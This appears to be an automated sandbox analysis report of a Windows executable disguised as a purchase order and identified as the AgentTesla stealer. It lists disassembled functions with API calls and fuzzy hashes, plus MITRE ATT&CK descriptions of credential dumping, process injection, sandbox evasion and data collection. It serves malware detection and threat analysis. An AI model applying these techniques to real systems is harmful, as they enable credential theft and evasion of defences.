API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 0df72e3b5cf70d21c530e24e682e28afae01b7faaf581061804cefe84a28b9e7
Instruction ID: ba082d56d8bf6e999078db2812661e05c0675f9cd89887cb5e118dc0f9610a58
Opcode Fuzzy Hash: 0df72e3b5cf70d21c530e24e682e28afae01b7faaf581061804cefe84a28b9e7
Instruction Fuzzy Hash: CF015E71944240EFE700ABB0AF4AAD97FB4AF55301F10457EE242F61E2DAB904458B2D

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: ffa308e51fc2a7dd0918d2a0305ef53ba2975e26ebd74a39f79ceeac246a8f65
Instruction ID: f6b005b132729ba5a1909f4a704d5e159ac18246d791616e3be01574202a0a4f
Opcode Fuzzy Hash: ffa308e51fc2a7dd0918d2a0305ef53ba2975e26ebd74a39f79ceeac246a8f65
Instruction Fuzzy Hash: 4EF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D419B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 7e3eeff1b63bcc2d517f183bf836ef2b026841584b0bf51ee9d38dd24623c36e
Instruction ID: 9b2162bbfebbb1b7b3748198b6c02d748cac4cdb6124cb19748b2f92d1b33cd7
Opcode Fuzzy Hash: 7e3eeff1b63bcc2d517f183bf836ef2b026841584b0bf51ee9d38dd24623c36e
Instruction Fuzzy Hash: 8E219371948209AEEF059FB5DE4AABE7BB5EF84304F14443EF605B61D0D7B889409B18

Function 00404ADE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D248,0042D248,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B7F
wsprintfW.USER32 ref: 00404B88
SetDlgItemTextW.USER32(?,0042D248), ref: 00404B9B

Strings

%u.%u%s%s, xrefs: 00404B69

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: be899ce802f4ada5aa38b77195d66e19eeaafb4e1a6305ece11e6f52dcfdaeb3
Instruction ID: 49dacc2217062e77d4dc452dcd456e10a33323318ced1260d8f84a7edb165714
Opcode Fuzzy Hash: be899ce802f4ada5aa38b77195d66e19eeaafb4e1a6305ece11e6f52dcfdaeb3
Instruction Fuzzy Hash: D911C3736041283ADB00656D9C46F9E369C9B85334F254237FA25F21D1E979D82182E8

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction ID: fc7ade2e12cd9e993d25f9a328d8db16c9603ee1eb20de8c24b8f84b94a82c23
Opcode Fuzzy Hash: a4e23b119c2c64eb18a4fa0724f9b8d9fe0ec592ff9815e45bdb7592abe1cef3
Instruction Fuzzy Hash: B4116A32500109FBDF02AB90CE09FEE7B7DAF54340F100076B904B51E1E7B59E21AB68

Function 004057F1 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405834
GetLastError.KERNEL32 ref: 00405848
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040585D
GetLastError.KERNEL32 ref: 00405867

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction ID: d156970015101e62572267df52bf1fb018b172c5ebb67f048bc3511340661aba
Opcode Fuzzy Hash: 817c7eeb2e6ade2cce28f3b9d2e4670c9c7091e2f59c9eba6f9578a5288f1365
Instruction Fuzzy Hash: EB010872D00219EADF009FA1C944BEFBBB8EF14304F00803AE945B6280D7789618CFA9

Function 00402E79 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00403059,00000001,?,00000006,00000008,0000000A), ref: 00402E8C
GetTickCount.KERNEL32 ref: 00402EAA
CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402EC7
ShowWindow.USER32(00000000,00000005,?,00000006,00000008,0000000A), ref: 00402ED5

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 5c4e852214d6767aab513baeadf18d74bcc02012da70e31d5af0b3f9b2778c41
Instruction ID: ba23c68ca914eac1f4c080bcf69ea635dc5c4ffa9688b42209883b937cdf97fb
Opcode Fuzzy Hash: 5c4e852214d6767aab513baeadf18d74bcc02012da70e31d5af0b3f9b2778c41
Instruction Fuzzy Hash: 7FF03A30541630FBC6706B20FE0DA8B7B65FB44B02B42497AF002A19A4C7B849818ADC

Function 00405296 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052C5
CallWindowProcW.USER32(?,?,?,?), ref: 00405316

Part of subcall function 0040427D: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040428F

Strings

, xrefs: 004052A6

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 724b08e39b448c58c7649a37dc1be8b90ebc0ba8e0923a3b5611d97535f2409a
Instruction ID: 81d983181078a42bdaaa38d141d1896fcab4c42a172a92442cc7f35772e796f5
Opcode Fuzzy Hash: 724b08e39b448c58c7649a37dc1be8b90ebc0ba8e0923a3b5611d97535f2409a
Instruction Fuzzy Hash: 8E018431200709EBDF205F51DDD4A5B7B25EB84794F50507BFA00751D0D7BA8C929E2E

Function 00405DDF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405DFD
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,0043F000,0040338D,00441000,00441800,00441800,00441800,00441800,00441800,74DF3420,004035D9), ref: 00405E18

Strings

nsa, xrefs: 00405DEC

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: af8b6ba947558e1b0daa3aed001b6e0f80e178ffca66ecedc63f3e0829e9a41e
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: 61F03076A00304FBEB009F69ED05E9FB7BCEB95710F10803AE941E7250E6B09A548B64

Function 36268498 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 36268757
$^q, xrefs: 362686F2
$^q, xrefs: 36268763
$^q, xrefs: 362686FE

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 35f4664fa8c491bfbebcc39116843a16292e8eba374d070443f8403d3b94f252
Instruction ID: 7bb823d0b145e2217785a41c7e02fad70b1e8ba56fdec6584161be059e64588d
Opcode Fuzzy Hash: 35f4664fa8c491bfbebcc39116843a16292e8eba374d070443f8403d3b94f252
Instruction Fuzzy Hash: 2DB16034E10209CFEB14DF6AC59469EB7B2FF84344F218829D805AB365DBB5DC86CB91

Function 004058A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 004058CC
CloseHandle.KERNEL32(?), ref: 004058D9

Strings

Error launching installer, xrefs: 004058B6

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction ID: eef1ad79794a30a774d0e472c728ed5028324d39c85b098150df6d3db2f5c38f
Opcode Fuzzy Hash: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction Fuzzy Hash: 93E092B5600209BFEB00AB64ED49F7BBBACEB04704F508565BD51F2290D778EC148A78

Function 362688B0 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$^q, xrefs: 3626892F
LR^q, xrefs: 362689F2
$^q, xrefs: 3626893B
LR^q, xrefs: 362689A3

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: LR^q$LR^q$$^q$$^q
API String ID: 0-2454687669
Opcode ID: 081a75071683870cb6c99382f5f4f3caeb1e9b32e983ff4a8ee34f5e2f005649
Instruction ID: 3b89b80a6ccb915c5d5b45d28722881b20758a2af9051382b5dd2a0beb81a7ee
Opcode Fuzzy Hash: 081a75071683870cb6c99382f5f4f3caeb1e9b32e983ff4a8ee34f5e2f005649
Instruction Fuzzy Hash: 4F51A430B102058FEB08DF29C554A6AB7F2FB88348F118569EC05AB395DB74DC85CBA6

Function 3626AD88 Relevance: 5.2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

Strings

$^q, xrefs: 3626AF64
$^q, xrefs: 3626AF3B
$^q, xrefs: 3626AF0C
$^q, xrefs: 3626AEB9

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: c8f6301b85ced8e78569aa6ddb3e388e5f09373b0e93429b0b41f19b0a32df88
Instruction ID: e1822fc6d77f91274887aef1441a214c2b6ab2ee68fd1eb773b823fcb76d2f9c
Opcode Fuzzy Hash: c8f6301b85ced8e78569aa6ddb3e388e5f09373b0e93429b0b41f19b0a32df88
Instruction Fuzzy Hash: A651F174F102058FEB15DA6AC48069DB7B2EB84349F238829DC05EB355DBB1DC86CB91

Function 3626AE14 Relevance: 5.1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

Strings

$^q, xrefs: 3626AF64
$^q, xrefs: 3626AF3B
$^q, xrefs: 3626AF0C
$^q, xrefs: 3626AEB9

Memory Dump Source

Source File: 00000004.00000002.2986869713.0000000036260000.00000040.00000800.00020000.00000000.sdmp, Offset: 36260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36260000_PO 0309494059506060609696007.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: b42d712026e545ba4785c6a2521b4848de8b28514a16bb843f6ea066422a2f4b
Instruction ID: be1f6c62473ebb660a54671238ac51753ff45fe82a6a6f16b1e8a01436eab77e
Opcode Fuzzy Hash: b42d712026e545ba4785c6a2521b4848de8b28514a16bb843f6ea066422a2f4b
Instruction Fuzzy Hash: 5241C034B10306CFEB16DB66C58065DB7B2EF84358F228529DC05AB355DBB1DC86CB91

Function 00405D15 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D25
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D3D
CharNextA.USER32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D4E
lstrlenA.KERNEL32(00000000,?,00000000,00405FFA,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D57

Memory Dump Source

Source File: 00000004.00000002.2964517391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2964501899.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964537105.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964552878.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2964579035.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction ID: cc601e2af81a4130f3690bf6756e9ae730db34a97aa71f580e1783f9e5236296
Opcode Fuzzy Hash: 6db5b03da17fe1faae21ad7e2c869b7ed7bb68520138c246bcc2ad94f2104a67
Instruction Fuzzy Hash: 3DF0F631200818FFC7129FA4DD049AFBBA8EF06354B2580BAE840F7211D634DE02AF98

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO 0309494059506060609696007.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

